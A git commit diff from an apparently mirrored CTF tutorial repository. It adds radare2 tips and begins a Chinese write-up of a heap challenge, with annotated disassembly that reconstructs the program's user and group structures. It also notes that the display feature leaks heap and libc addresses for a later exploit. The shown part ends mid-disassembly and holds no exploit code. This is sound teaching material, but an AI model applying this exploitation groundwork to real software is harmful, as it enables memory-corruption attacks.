mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 03:01:15 +07:00
finish 6.1.15
This commit is contained in:
parent
2e3e6f11c5
commit
17161e2099
@ -612,6 +612,8 @@ Prefix with number to repeat command N times (f.ex: 3x)
|
||||
- `$j` 跳转地址。当 `$$` 处是一个类似 `jmp` 的指令时,`$j` 中保存着将要跳转到的地址
|
||||
- `$f` 跳转失败地址。即当前跳转没有生效,`$f` 中保存下一条指令的地址
|
||||
- `$m` 操作码内存引用。如:`mov eax,[0x10] => 0x10`
|
||||
- `e` 用于进行配置信息的修改
|
||||
- `e asm.bytes=false` 关闭指令 raw bytes 的显示
|
||||
|
||||
默认情况下,执行的每条命令都有一个参考点,通常是内存中的当前位置,由命令前的十六进制数字指示。任何的打印、写入或分析命令都在当前位置执行。例如反汇编当前位置的一条指令:
|
||||
```
|
||||
@ -682,6 +684,7 @@ block size 是在我们没有指定行数的时候使用的默认值,输入 `b
|
||||
```
|
||||
- `afl`:列出所有函数。
|
||||
- `axt [addr]`:找到对给定地址的交叉引用。
|
||||
- `af [addr]`:当你发现某个地址处有一个函数,但是没有被分析出来的时候,可以使用该命令重新分析。
|
||||
|
||||
#### Flags
|
||||
flag 用于将给定的偏移与名称相关联,flag 被分为几个 flag spaces,用于存放不同的 flag。
|
||||
@ -1125,7 +1128,7 @@ $ make
|
||||
|
||||
|
||||
## 在 CTF 中的运用
|
||||
- [IOLI crackme](https://github.com/firmianay/Life-long-Learner/blob/master/binary-security/IOLI-crackme-Writeup.md)
|
||||
- [IOLI crackme](https://firmianay.github.io/2017/02/20/ioli_crackme_writeup.html)
|
||||
- [radare2-explorations-binaries](https://github.com/monosource/radare2-explorations-binaries)
|
||||
|
||||
|
||||
|
@ -18,11 +18,923 @@ Partial RELRO Canary found NX enabled No PIE No RPATH No RU
|
||||
$ file libc-2.26.so
|
||||
libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6d2b609f0c8e7b338f767b08c5ac712fac809d31, for GNU/Linux 3.2.0, stripped
|
||||
```
|
||||
一看 libc-2.26,请参考章节 4.14,tcache 了解一下。然后程序开启了 Canary 和 NX。
|
||||
|
||||
```
|
||||
0: Add a user
|
||||
1: Display a group
|
||||
2: Display a user
|
||||
3: Edit a group
|
||||
4: Delete a user
|
||||
5: Exit
|
||||
Action: 1 # 假设两个 user 的 group 相同
|
||||
Enter group name: A
|
||||
User:
|
||||
Name: a
|
||||
Group: A
|
||||
Age: 1
|
||||
User:
|
||||
Name: b
|
||||
Group: A
|
||||
Age: 1
|
||||
0: Add a user
|
||||
1: Display a group
|
||||
2: Display a user
|
||||
3: Edit a group
|
||||
4: Delete a user
|
||||
5: Exit
|
||||
Action: 3 # 修改 group,输入 y
|
||||
Enter index: 0
|
||||
Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): y
|
||||
Enter new group name: B
|
||||
0: Add a user
|
||||
1: Display a group
|
||||
2: Display a user
|
||||
3: Edit a group
|
||||
4: Delete a user
|
||||
5: Exit
|
||||
Action: 1 # 两个 user 的 group 都被修改
|
||||
Enter group name: B
|
||||
User:
|
||||
Name: a
|
||||
Group: B
|
||||
Age: 1
|
||||
User:
|
||||
Name: b
|
||||
Group: B
|
||||
Age: 1
|
||||
0: Add a user
|
||||
1: Display a group
|
||||
2: Display a user
|
||||
3: Edit a group
|
||||
4: Delete a user
|
||||
5: Exit
|
||||
Action: 3 # 修改 group,输入 n
|
||||
Enter index: 0
|
||||
Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): n
|
||||
Enter new group name: A
|
||||
0: Add a user
|
||||
1: Display a group
|
||||
2: Display a user
|
||||
3: Edit a group
|
||||
4: Delete a user
|
||||
5: Exit
|
||||
Action: 1 # 仅当前 user 的 group 被修改
|
||||
Enter group name: A
|
||||
User:
|
||||
Name: a
|
||||
Group: A
|
||||
Age: 1
|
||||
0: Add a user
|
||||
1: Display a group
|
||||
2: Display a user
|
||||
3: Edit a group
|
||||
4: Delete a user
|
||||
5: Exit
|
||||
Action: 1
|
||||
Enter group name: B
|
||||
User:
|
||||
Name: b
|
||||
Group: B
|
||||
Age: 1
|
||||
```
|
||||
玩一下,程序似乎有两个结构分别放置 user 和 group。而且 Edit 功能很有趣,根据选择 y 还是 n 有不同的操作,应该重点看看。
|
||||
|
||||
|
||||
## 题目解析
|
||||
#### GC
|
||||
main 函数开始会启动一个新的线程,用于垃圾回收,然后才让我们输入菜单的选项。刚开始 r2 并不能识别这个线程函数,用命令 `af` 给它重新分析一下。函数如下:
|
||||
```
|
||||
[0x00400a60]> af @ 0x0040127e
|
||||
[0x00400a60]> pdf @ fcn.0040127e
|
||||
/ (fcn) fcn.0040127e 157
|
||||
| fcn.0040127e (int arg_5fh);
|
||||
| ; var int local_18h @ rbp-0x18
|
||||
| ; var int local_8h @ rbp-0x8
|
||||
| ; var int local_4h @ rbp-0x4
|
||||
| ; arg int arg_5fh @ rbp+0x5f
|
||||
| ; CALL XREF from 0x0040127e (fcn.0040127e)
|
||||
| ; DATA XREF from 0x004014af (main)
|
||||
| 0x0040127e push rbp
|
||||
| 0x0040127f mov rbp, rsp
|
||||
| 0x00401282 sub rsp, 0x20
|
||||
| 0x00401286 mov qword [local_18h], rdi
|
||||
| 0x0040128a mov edi, 1
|
||||
| 0x0040128f call sym.imp.sleep ; int sleep(int s)
|
||||
| 0x00401294 mov dword [local_4h], 0
|
||||
| ; JMP XREF from 0x00401319 (fcn.0040127e)
|
||||
| .-> 0x0040129b mov dword [local_8h], 0 ; [local_8h] 为循环计数 i,初始化为 0
|
||||
| ,==< 0x004012a2 jmp 0x401309
|
||||
| |: ; JMP XREF from 0x0040130d (fcn.0040127e)
|
||||
| .---> 0x004012a4 mov eax, dword [local_8h]
|
||||
| :|: 0x004012a7 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 取出 groups[i]
|
||||
| :|: 0x004012af test rax, rax
|
||||
| ,====< 0x004012b2 je 0x401301 ; groups[i] 为 0 时进行下一次循环
|
||||
| |:|: 0x004012b4 mov eax, dword [local_8h]
|
||||
| |:|: 0x004012b7 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
|
||||
| |:|: 0x004012bf movzx eax, byte [rax + 8] ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
|
||||
| |:|: 0x004012c3 test al, al
|
||||
| ,=====< 0x004012c5 jne 0x401304 ; ref_count 不等于 0 时进行下一次循环
|
||||
| ||:|: 0x004012c7 mov eax, dword [local_8h]
|
||||
| ||:|: 0x004012ca mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
|
||||
| ||:|: 0x004012d2 mov rax, qword [rax] ; 取出 groups[i]->group_name
|
||||
| ||:|: 0x004012d5 mov rdi, rax
|
||||
| ||:|: 0x004012d8 call sym.imp.free ; void free(void *ptr) ; 释放掉 group_name
|
||||
| ||:|: 0x004012dd mov eax, dword [local_8h]
|
||||
| ||:|: 0x004012e0 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 取出 groups[i]
|
||||
| ||:|: 0x004012e8 mov rdi, rax
|
||||
| ||:|: 0x004012eb call sym.imp.free ; void free(void *ptr) ; 释放掉 groups[i]
|
||||
| ||:|: 0x004012f0 mov eax, dword [local_8h]
|
||||
| ||:|: 0x004012f3 mov qword [rax*8 + 0x6023e0], 0 ; [0x6023e0:8]=0 ; 将 groups[i] 置 0
|
||||
| ,======< 0x004012ff jmp 0x401305
|
||||
| |||:|: ; JMP XREF from 0x004012b2 (fcn.0040127e)
|
||||
| ||`----> 0x00401301 nop
|
||||
| ||,====< 0x00401302 jmp 0x401305
|
||||
| |||:|: ; JMP XREF from 0x004012c5 (fcn.0040127e)
|
||||
| |`-----> 0x00401304 nop
|
||||
| | |:|: ; JMP XREF from 0x00401302 (fcn.0040127e)
|
||||
| | |:|: ; JMP XREF from 0x004012ff (fcn.0040127e)
|
||||
| `-`----> 0x00401305 add dword [local_8h], 1 ; 计数 + 1
|
||||
| :|: ; JMP XREF from 0x004012a2 (fcn.0040127e)
|
||||
| :`--> 0x00401309 cmp dword [local_8h], 0x5f ; [0x5f:4]=-1 ; '_' ; 95
|
||||
| `===< 0x0040130d jbe 0x4012a4 ; 循环继续
|
||||
| : 0x0040130f mov edi, 0
|
||||
| : 0x00401314 call sym.imp.sleep ; int sleep(int s)
|
||||
\ `=< 0x00401319 jmp 0x40129b
|
||||
```
|
||||
从这段代码中我们看出一个结构体 group:
|
||||
```c
|
||||
struct group {
|
||||
char *group_name; // group 名
|
||||
uint8_t ref_count; // 引用计数
|
||||
} group;
|
||||
|
||||
struct group *groups[0x60];
|
||||
```
|
||||
然后是 0x60 个 group 类型指针构成的数组 groups,其起始地址为 `0x6023e0`。仔细看的话可以发现,这段代码在取 ref_count 值的时候,只取出了一个字节。所以 ref_count 的类型可以推断地更精细一点,为 `uint8_t`。
|
||||
|
||||
该垃圾回收函数会遍历 groups,当 groups[i]->count 为 0 时,表示该 group 没有 user 在使用,于是对 groups[i]->group_name 和 groups[i] 分别进行 free 操作,最后把 groups[i] 设置为 0。
|
||||
|
||||
最后需要注意的是垃圾回收的周期,在写 exp 的时候要考虑。
|
||||
|
||||
#### add a user
|
||||
```
|
||||
[0x00400a60]> pdf @ sub.memset_d58
|
||||
/ (fcn) sub.memset_d58 598
|
||||
| sub.memset_d58 ();
|
||||
| ; var int local_162h @ rbp-0x162
|
||||
| ; var int local_160h @ rbp-0x160
|
||||
| ; var int local_15ch @ rbp-0x15c
|
||||
| ; var int local_158h @ rbp-0x158
|
||||
| ; var int local_150h @ rbp-0x150
|
||||
| ; var int local_140h @ rbp-0x140
|
||||
| ; var int local_120h @ rbp-0x120
|
||||
| ; var int local_18h @ rbp-0x18
|
||||
| ; CALL XREF from 0x0040153d (main)
|
||||
| 0x00400d58 push rbp
|
||||
| 0x00400d59 mov rbp, rsp
|
||||
| 0x00400d5c push rbx
|
||||
| 0x00400d5d sub rsp, 0x168
|
||||
| 0x00400d64 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
||||
| 0x00400d6d mov qword [local_18h], rax
|
||||
| 0x00400d71 xor eax, eax
|
||||
| 0x00400d73 lea rax, [local_120h]
|
||||
| 0x00400d7a mov edx, 0x100 ; 256
|
||||
| 0x00400d7f mov esi, 0
|
||||
| 0x00400d84 mov rdi, rax
|
||||
| 0x00400d87 call sym.imp.memset ; memset(local_120h, 0, 0x100),用于存放 name
|
||||
| 0x00400d8c lea rax, [local_150h]
|
||||
| 0x00400d93 mov edx, 8
|
||||
| 0x00400d98 mov esi, 0
|
||||
| 0x00400d9d mov rdi, rax
|
||||
| 0x00400da0 call sym.imp.memset ; memset(local_150h, 0, 8),用于存放 age
|
||||
| 0x00400da5 lea rax, [local_140h]
|
||||
| 0x00400dac mov edx, 0x18 ; 24
|
||||
| 0x00400db1 mov esi, 0
|
||||
| 0x00400db6 mov rdi, rax
|
||||
| 0x00400db9 call sym.imp.memset ; memset(local_140h, 0, 0x18),用于存放 group
|
||||
| 0x00400dbe mov edi, str.Please_enter_the_user_s_name: ; 0x401638 ; "Please enter the user's name: "
|
||||
| 0x00400dc3 mov eax, 0
|
||||
| 0x00400dc8 call sym.imp.printf ; int printf(const char *format)
|
||||
| 0x00400dcd lea rax, [local_120h]
|
||||
| 0x00400dd4 mov esi, 0xc0 ; 192
|
||||
| 0x00400dd9 mov rdi, rax
|
||||
| 0x00400ddc call sub.read_b56 ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||||
| 0x00400de1 mov edi, str.Please_enter_the_user_s_group: ; 0x401658 ; "Please enter the user's group: "
|
||||
| 0x00400de6 mov eax, 0
|
||||
| 0x00400deb call sym.imp.printf ; int printf(const char *format)
|
||||
| 0x00400df0 lea rax, [local_140h]
|
||||
| 0x00400df7 mov esi, 0x18 ; 24
|
||||
| 0x00400dfc mov rdi, rax
|
||||
| 0x00400dff call sub.read_b56 ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||||
| 0x00400e04 mov edi, str.Please_enter_your_age: ; 0x401678 ; "Please enter your age: "
|
||||
| 0x00400e09 mov eax, 0
|
||||
| 0x00400e0e call sym.imp.printf ; int printf(const char *format)
|
||||
| 0x00400e13 lea rax, [local_150h]
|
||||
| 0x00400e1a mov esi, 4
|
||||
| 0x00400e1f mov rdi, rax
|
||||
| 0x00400e22 call sub.read_b56 ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||||
| 0x00400e27 lea rax, [local_150h]
|
||||
| 0x00400e2e mov rdi, rax
|
||||
| 0x00400e31 call sym.imp.atoi ; int atoi(const char *str)
|
||||
| 0x00400e36 mov dword [local_160h], eax
|
||||
| 0x00400e3c lea rax, [local_140h]
|
||||
| 0x00400e43 mov rdi, rax ; 将 group 作为参数
|
||||
| 0x00400e46 call sub.strcmp_be0 ; 调用函数 sub.strcmp_be0() 检查对应的 group 是否存在
|
||||
| 0x00400e4b mov qword [local_158h], rax ; 如果存在,返回值为这个 group,否则为 0
|
||||
| 0x00400e52 cmp qword [local_158h], 0
|
||||
| ,=< 0x00400e5a jne 0x400e72 ; 如果返回值不等于 0,跳转
|
||||
| | 0x00400e5c lea rax, [local_140h]
|
||||
| | 0x00400e63 mov rdi, rax
|
||||
| | 0x00400e66 call fcn.00400cdd ; 否则调用函数 fcn.00400cdd() 创建一个 group
|
||||
| | 0x00400e6b mov qword [local_158h], rax ; 返回值为新建的 group
|
||||
| | ; JMP XREF from 0x00400e5a (sub.memset_d58)
|
||||
| `-> 0x00400e72 mov word [local_162h], 0 ; 循环计算 i,赋值为 0
|
||||
| ,=< 0x00400e7b jmp 0x400e9b
|
||||
| | ; JMP XREF from 0x00400ea3 (sub.memset_d58)
|
||||
| .--> 0x00400e7d movzx eax, word [local_162h]
|
||||
| :| 0x00400e84 cdqe
|
||||
| :| 0x00400e86 mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
|
||||
| :| 0x00400e8e test rax, rax
|
||||
| ,===< 0x00400e91 je 0x400ea7 ; 如果 users[i] 为 0,跳出循环,即找到第一个空的 user
|
||||
| |:| 0x00400e93 add word [local_162h], 1 ; 否则循环计算 + 1
|
||||
| |:| ; JMP XREF from 0x00400e7b (sub.memset_d58)
|
||||
| |:`-> 0x00400e9b cmp word [local_162h], 0x5f ; [0x5f:2]=0xffff ; '_' ; 95
|
||||
| |`==< 0x00400ea3 jbe 0x400e7d ; 继续循环
|
||||
| | ,=< 0x00400ea5 jmp 0x400ea8
|
||||
| | | ; JMP XREF from 0x00400e91 (sub.memset_d58)
|
||||
| `---> 0x00400ea7 nop
|
||||
| | ; JMP XREF from 0x00400ea5 (sub.memset_d58)
|
||||
| `-> 0x00400ea8 cmp word [local_162h], 0x5f ; [0x5f:2]=0xffff ; '_' ; 95
|
||||
| ,=< 0x00400eb0 jbe 0x400ec6
|
||||
| | 0x00400eb2 mov edi, str.User_database_full ; 0x401690 ; "User database full"
|
||||
| | 0x00400eb7 call sym.imp.puts ; int puts(const char *s)
|
||||
| | 0x00400ebc mov edi, 1
|
||||
| | 0x00400ec1 call sym.imp.exit ; void exit(int status)
|
||||
| | ; JMP XREF from 0x00400eb0 (sub.memset_d58)
|
||||
| `-> 0x00400ec6 movzx ebx, word [local_162h]
|
||||
| 0x00400ecd mov edi, 0x18 ; 24
|
||||
| 0x00400ed2 call sym.imp.malloc ; malloc(0x18) 创建一个 user 结构体
|
||||
| 0x00400ed7 mov rdx, rax ; 返回值为 user 的地址
|
||||
| 0x00400eda movsxd rax, ebx
|
||||
| 0x00400edd mov qword [rax*8 + 0x6020e0], rdx ; [0x6020e0:8]=0 ; 将 user 放入 users,作为 users[i]
|
||||
| 0x00400ee5 movzx eax, word [local_162h]
|
||||
| 0x00400eec cdqe
|
||||
| 0x00400eee mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
|
||||
| 0x00400ef6 mov rdx, qword [local_158h]
|
||||
| 0x00400efd mov rdx, qword [rdx] ; 取出 groups[k]->group_name
|
||||
| 0x00400f00 mov qword [rax + 0x10], rdx ; 将 users[i]->group 赋值为 groups[k]->group_name
|
||||
| 0x00400f04 movzx eax, word [local_162h]
|
||||
| 0x00400f0b cdqe
|
||||
| 0x00400f0d mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0
|
||||
| 0x00400f15 mov edx, dword [local_160h]
|
||||
| 0x00400f1b mov byte [rax], dl
|
||||
| 0x00400f1d lea rax, [local_120h] ; 取出输入的 name
|
||||
| 0x00400f24 mov rdi, rax
|
||||
| 0x00400f27 call sym.imp.strlen ; size_t strlen(const char *s) ; 获得 name 的长度
|
||||
| 0x00400f2c add eax, 1 ; 长度 + 1
|
||||
| 0x00400f2f mov dword [local_15ch], eax
|
||||
| 0x00400f35 movzx eax, word [local_162h]
|
||||
| 0x00400f3c cdqe
|
||||
| 0x00400f3e mov rbx, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
|
||||
| 0x00400f46 mov eax, dword [local_15ch]
|
||||
| 0x00400f4c mov rdi, rax
|
||||
| 0x00400f4f call sym.imp.malloc ; void *malloc(size_t size) ; 为 name 分配空间
|
||||
| 0x00400f54 mov qword [rbx + 8], rax ; 将返回地址放入 users[i]->name
|
||||
| 0x00400f58 mov edx, dword [local_15ch]
|
||||
| 0x00400f5e movzx eax, word [local_162h]
|
||||
| 0x00400f65 cdqe
|
||||
| 0x00400f67 mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0
|
||||
| 0x00400f6f mov rax, qword [rax + 8] ; [0x8:8]=-1 ; 8 ; 取出 users[i]->name
|
||||
| 0x00400f73 lea rcx, [local_120h] ; 取出输入的 name
|
||||
| 0x00400f7a mov rsi, rcx
|
||||
| 0x00400f7d mov rdi, rax
|
||||
| 0x00400f80 call sym.imp.memcpy ; void *memcpy(void *s1, const void *s2, size_t n) ; 把输入的 name 复制到 users[i]->name 的地方
|
||||
| 0x00400f85 mov edi, str.User_created ; 0x4016a3 ; "User created"
|
||||
| 0x00400f8a call sym.imp.puts ; int puts(const char *s)
|
||||
| 0x00400f8f nop
|
||||
| 0x00400f90 mov rax, qword [local_18h]
|
||||
| 0x00400f94 xor rax, qword fs:[0x28]
|
||||
| ,=< 0x00400f9d je 0x400fa4
|
||||
| | 0x00400f9f call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||||
| | ; JMP XREF from 0x00400f9d (sub.memset_d58)
|
||||
| `-> 0x00400fa4 add rsp, 0x168
|
||||
| 0x00400fab pop rbx
|
||||
| 0x00400fac pop rbp
|
||||
\ 0x00400fad ret
|
||||
```
|
||||
从这个函数中能看出第二个结构体 user:
|
||||
```c
|
||||
struct user {
|
||||
uint8_t age;
|
||||
char *name;
|
||||
char *group;
|
||||
} user;
|
||||
|
||||
struct user *users[0x60];
|
||||
```
|
||||
同样的,0x60 个 user 类型指针构成了数组 users,其起始地址为 `0x6020e0`。
|
||||
|
||||
我们看到输入的 group 作为参数调用了 sub.strcmp_be0():
|
||||
```
|
||||
[0x00400a60]> pdf @ sub.strcmp_be0
|
||||
/ (fcn) sub.strcmp_be0 161
|
||||
| sub.strcmp_be0 (int arg_5fh);
|
||||
| ; var int local_18h @ rbp-0x18
|
||||
| ; var int local_2h @ rbp-0x2
|
||||
| ; arg int arg_5fh @ rbp+0x5f
|
||||
| ; CALL XREF from 0x004013e2 (sub.Enter_index:_31b)
|
||||
| ; CALL XREF from 0x00400e46 (sub.memset_d58)
|
||||
| 0x00400be0 push rbp
|
||||
| 0x00400be1 mov rbp, rsp
|
||||
| 0x00400be4 sub rsp, 0x20
|
||||
| 0x00400be8 mov qword [local_18h], rdi ; 将 group 传给 [local_18h]
|
||||
| 0x00400bec mov word [local_2h], 0 ; 循环计数 i,初始化为 0
|
||||
| ,=< 0x00400bf2 jmp 0x400c6f
|
||||
| | ; JMP XREF from 0x00400c74 (sub.strcmp_be0)
|
||||
| .--> 0x00400bf4 movzx eax, word [local_2h]
|
||||
| :| 0x00400bf8 cdqe
|
||||
| :| 0x00400bfa mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 取出 groups[i]
|
||||
| :| 0x00400c02 test rax, rax
|
||||
| ,===< 0x00400c05 je 0x400c69 ; groups[i] 为 0 时进行下一次循环
|
||||
| |:| 0x00400c07 movzx eax, word [local_2h]
|
||||
| |:| 0x00400c0b cdqe
|
||||
| |:| 0x00400c0d mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
|
||||
| |:| 0x00400c15 mov rdx, qword [rax] ; 取出 groups[i]->group_name
|
||||
| |:| 0x00400c18 mov rax, qword [local_18h] ; 取出 group
|
||||
| |:| 0x00400c1c mov rsi, rdx
|
||||
| |:| 0x00400c1f mov rdi, rax
|
||||
| |:| 0x00400c22 call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
|
||||
| |:| 0x00400c27 test eax, eax ; 对比 groups[i]->group_name 和 group 是否相同
|
||||
| ,====< 0x00400c29 jne 0x400c6a ; 如果不同,进行下一次循环
|
||||
| ||:| 0x00400c2b movzx eax, word [local_2h] ; 否则继续
|
||||
| ||:| 0x00400c2f cdqe
|
||||
| ||:| 0x00400c31 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
|
||||
| ||:| 0x00400c39 movzx eax, byte [rax + 8] ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
|
||||
| ||:| 0x00400c3d test al, al
|
||||
| ,=====< 0x00400c3f je 0x400c6a ; 如果 ref_count 为 0,进行下一次循环
|
||||
| |||:| 0x00400c41 movzx eax, word [local_2h] ; 否则继续
|
||||
| |||:| 0x00400c45 cdqe
|
||||
| |||:| 0x00400c47 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
|
||||
| |||:| 0x00400c4f movzx edx, byte [rax + 8] ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
|
||||
| |||:| 0x00400c53 add edx, 1 ; 将 groups[i]->ref_count 加 1
|
||||
| |||:| 0x00400c56 mov byte [rax + 8], dl ; 将低字节放回 ref_count
|
||||
| |||:| 0x00400c59 movzx eax, word [local_2h]
|
||||
| |||:| 0x00400c5d cdqe
|
||||
| |||:| 0x00400c5f mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 取出 groups[i] 作为返回值
|
||||
| ,======< 0x00400c67 jmp 0x400c7f
|
||||
| |||`---> 0x00400c69 nop
|
||||
| ||| :| ; JMP XREF from 0x00400c29 (sub.strcmp_be0)
|
||||
| ||| :| ; JMP XREF from 0x00400c3f (sub.strcmp_be0)
|
||||
| |``----> 0x00400c6a add word [local_2h], 1 ; 循环计数 + 1
|
||||
| | :| ; JMP XREF from 0x00400bf2 (sub.strcmp_be0)
|
||||
| | :`-> 0x00400c6f cmp word [local_2h], 0x5f ; [0x5f:2]=0xffff ; '_' ; 95
|
||||
| | `==< 0x00400c74 jbe 0x400bf4 ; 继续循环
|
||||
| | 0x00400c7a mov eax, 0 ; 将 eax 赋值为 0 作为返回值
|
||||
| | ; JMP XREF from 0x00400c67 (sub.strcmp_be0)
|
||||
| `------> 0x00400c7f leave
|
||||
\ 0x00400c80 ret
|
||||
```
|
||||
所以这个函数的作用是检查 groups 中是否已经存在同名的 group,如果是,那么将该 group 的 ref_count 加 1,并返回这个 group。否则返回 0。
|
||||
|
||||
当返回值为 0 的时候,会调用函数 fcn.00400cdd(),参数为 group:
|
||||
```
|
||||
[0x00400a60]> pdf @ fcn.00400cdd
|
||||
/ (fcn) fcn.00400cdd 123
|
||||
| fcn.00400cdd (int arg_5fh);
|
||||
| ; var int local_28h @ rbp-0x28
|
||||
| ; var int local_12h @ rbp-0x12
|
||||
| ; arg int arg_5fh @ rbp+0x5f
|
||||
| ; CALL XREF from 0x004013f9 (sub.Enter_index:_31b)
|
||||
| ; CALL XREF from 0x00400e66 (sub.memset_d58)
|
||||
| 0x00400cdd push rbp
|
||||
| 0x00400cde mov rbp, rsp
|
||||
| 0x00400ce1 push rbx
|
||||
| 0x00400ce2 sub rsp, 0x28 ; '('
|
||||
| 0x00400ce6 mov qword [local_28h], rdi ; 将字符串 group 传给 [local_28h]
|
||||
| 0x00400cea mov word [local_12h], 0 ; 循环计数 i,初始化为 0
|
||||
| ,=< 0x00400cf0 jmp 0x400d0a
|
||||
| | ; JMP XREF from 0x00400d0f (fcn.00400cdd)
|
||||
| .--> 0x00400cf2 movzx eax, word [local_12h]
|
||||
| :| 0x00400cf6 cdqe
|
||||
| :| 0x00400cf8 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 取出 groups[i]
|
||||
| :| 0x00400d00 test rax, rax
|
||||
| ,===< 0x00400d03 je 0x400d13 ; 如果 groups[i] 为 0 时,跳出循环,即找到一个空的 group
|
||||
| |:| 0x00400d05 add word [local_12h], 1 ; 循环计数 + 1
|
||||
| |:| ; JMP XREF from 0x00400cf0 (fcn.00400cdd)
|
||||
| |:`-> 0x00400d0a cmp word [local_12h], 0x5f ; [0x5f:2]=0xffff ; '_' ; 95
|
||||
| |`==< 0x00400d0f jbe 0x400cf2 ; 继续循环
|
||||
| | ,=< 0x00400d11 jmp 0x400d14
|
||||
| | | ; JMP XREF from 0x00400d03 (fcn.00400cdd)
|
||||
| `---> 0x00400d13 nop
|
||||
| | ; JMP XREF from 0x00400d11 (fcn.00400cdd)
|
||||
| `-> 0x00400d14 cmp word [local_12h], 0x5f ; [0x5f:2]=0xffff ; '_' ; 95
|
||||
| ,=< 0x00400d19 jbe 0x400d25
|
||||
| | 0x00400d1b mov edi, 1
|
||||
| | 0x00400d20 call sym.imp.exit ; void exit(int status)
|
||||
| | ; JMP XREF from 0x00400d19 (fcn.00400cdd)
|
||||
| `-> 0x00400d25 movzx ebx, word [local_12h]
|
||||
| 0x00400d29 mov rax, qword [local_28h]
|
||||
| 0x00400d2d mov rdi, rax ; 字符串 group 作为参数
|
||||
| 0x00400d30 call sub.malloc_c81 ; sub.malloc_c81 函数创建一个 group 结构体,并将其返回
|
||||
| 0x00400d35 mov rdx, rax
|
||||
| 0x00400d38 movsxd rax, ebx
|
||||
| 0x00400d3b mov qword [rax*8 + 0x6023e0], rdx ; [0x6023e0:8]=0 ; 将返回的 group 结构体放进 groups,作为 groups[i]
|
||||
| 0x00400d43 movzx eax, word [local_12h]
|
||||
| 0x00400d47 cdqe
|
||||
| 0x00400d49 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 返回 groups[i]
|
||||
| 0x00400d51 add rsp, 0x28 ; '('
|
||||
| 0x00400d55 pop rbx
|
||||
| 0x00400d56 pop rbp
|
||||
\ 0x00400d57 ret
|
||||
```
|
||||
该函数在第一个 groups[i] 为 0 的地方创建一个新的 group,将其放入 groups,并返回这个 groups[i]。
|
||||
|
||||
总的来说,当添加一个 user 时,首先检查输入的 group 是否存在,如果存在,那么将这个 group->ref_count 加 1,设置 user->group 指向这个 group->group_name,否则新建一个 group,并将新 group->ref_count 设置为 1,同样设置 user->group 指向它。
|
||||
|
||||
#### display
|
||||
其中 display-a-user 用于打印出指定 index 的 user,即 users[i]。display-a-group 遍历 users,并打印出指定 group 与 users[i]->group 相同的 users[i]。根据经验,这个功能就是为了泄漏 heap 和 libc 地址的。
|
||||
|
||||
#### edit a group
|
||||
我们比较感兴趣的修改 group 操作:
|
||||
```
|
||||
[0x00400a60]> pdf @ sub.Enter_index:_31b
|
||||
/ (fcn) sub.Enter_index:_31b 302
|
||||
| sub.Enter_index:_31b ();
|
||||
| ; var int local_54h @ rbp-0x54
|
||||
| ; var int local_50h @ rbp-0x50
|
||||
| ; var int local_48h @ rbp-0x48
|
||||
| ; var int local_40h @ rbp-0x40
|
||||
| ; var int local_30h @ rbp-0x30
|
||||
| ; var int local_8h @ rbp-0x8
|
||||
| ; CALL XREF from 0x00401573 (main)
|
||||
| 0x0040131b push rbp
|
||||
| 0x0040131c mov rbp, rsp
|
||||
| 0x0040131f sub rsp, 0x60 ; '`'
|
||||
| 0x00401323 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
||||
| 0x0040132c mov qword [local_8h], rax
|
||||
| 0x00401330 xor eax, eax
|
||||
| 0x00401332 mov edi, str.Enter_index: ; 0x4016d5 ; "Enter index: "
|
||||
| 0x00401337 mov eax, 0
|
||||
| 0x0040133c call sym.imp.printf ; int printf(const char *format)
|
||||
| 0x00401341 lea rax, [local_40h]
|
||||
| 0x00401345 mov esi, 4
|
||||
| 0x0040134a mov rdi, rax
|
||||
| 0x0040134d call sub.read_b56 ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||||
| 0x00401352 lea rax, [local_40h]
|
||||
| 0x00401356 mov rdi, rax
|
||||
| 0x00401359 call sym.imp.atoi ; int atoi(const char *str)
|
||||
| 0x0040135e mov dword [local_54h], eax
|
||||
| 0x00401361 mov eax, dword [local_54h] ; eax 为索引 i
|
||||
| 0x00401364 mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
|
||||
| 0x0040136c test rax, rax
|
||||
| ,=< 0x0040136f je 0x401432 ; 如果 users[i] 不存在,函数结束
|
||||
| | 0x00401375 mov edi, str.Would_you_like_to_propagate_the_change__this_will_update_the_group_of_all_the_users_sharing_this_group_y_n_: ; 0x401718 ; "Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): "
|
||||
| | 0x0040137a mov eax, 0
|
||||
